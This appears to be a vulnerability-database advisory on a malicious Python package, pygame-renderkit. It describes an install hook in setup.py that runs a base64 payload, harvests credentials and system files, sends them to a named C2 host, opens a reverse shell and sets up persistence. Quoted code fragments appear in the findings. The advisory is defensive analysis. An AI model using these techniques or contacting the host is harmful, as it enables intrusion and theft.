VDB
GCVE-110-OSM-2026-11684
GCVE-110-OSM-2026-11684
Advisory PublishedCVSS 9.6/10
During installation, the package attempts to exfiltrate sensitive environment variables and files, establish persistence and open reverse shell.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-08-pygame-renderkit
Reasons (based on the campaign):
- persistence
- The package overrides the install command in setup.py to execute malicious code during installation.
- The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.
- files-exfiltration
- exfiltration-env-variables
Judge assessment: This is an install-time infostealer/backdoor aimed at the victim machine: the `setup.py` install hook (`cmdclass={'install': PostInstallCommand}`) decodes a base64 payload and `exec(compile(payload, '<renderkit>', 'exec'))` on non-Windows hosts. The payload explicitly harvests environment secrets and sensitive files (`/etc/passwd`, `/etc/sudoers`, `/etc/shadow`, `/root/.bash_history`), sends them to the C2 host `5uj0a8ziyu.localto.net`, and opens a reverse shell via `socket.connect` and `pty.spawn('/bin/bash')` or `subprocess.call(['/bin/sh', '-i'])`. It also establishes persistence through `crontab`, a user systemd service, and a sudoers drop-in, which is consistent with a credential-theft and remote-control attacker model rather than a legitimate build helper. The OSV advisory aligns with the actual code, but the decisive evidence is directly visible in `setup.py` and the recovered exfil IOC.
ENTRY
setup.py (install-hook: install/develop/build override present)
- setup.py Code Execution in setup.py
DESTINATION
- 1 exfil (custom-c2)
(values recorded in verified_iocs)
EXFIL
- Sensitive File Access in setup.py: "'/etc/passwd'"
- Reverse Shell in setup.py: "socket.socket()\n s.connect((\"{C2_HOST}\",{C2_PORT}))\n os.dup2(s.fileno(),0)\n..."
- Data Encoding for Exfiltration in setup.py: "base64.b64encode("
ADDITIONAL FINDINGS
- Download Execute Delete Pattern in setup.py: "open('/tmp/.cron_tmp', 'w') as f: f.write(existing + cron_cmd) subprocess.call([..."
- Dynamic Code Execution in setup.py: "compile(payload, '<renderkit>', 'exec')"
- Shell Command Execution in setup.py: "subprocess.call("
- Silent Process Execution in setup.py: "stdout=subprocess.DEVNULL"
- Setup.py Command Override in setup.py: "cmdclass={ 'install'"
PAYLOAD FILES
setup.py
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | pygame-renderkit | all (affected) | — |
Aliases
Browse GCVE Records
1,837 records in the GCVE database · Updated September 7, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.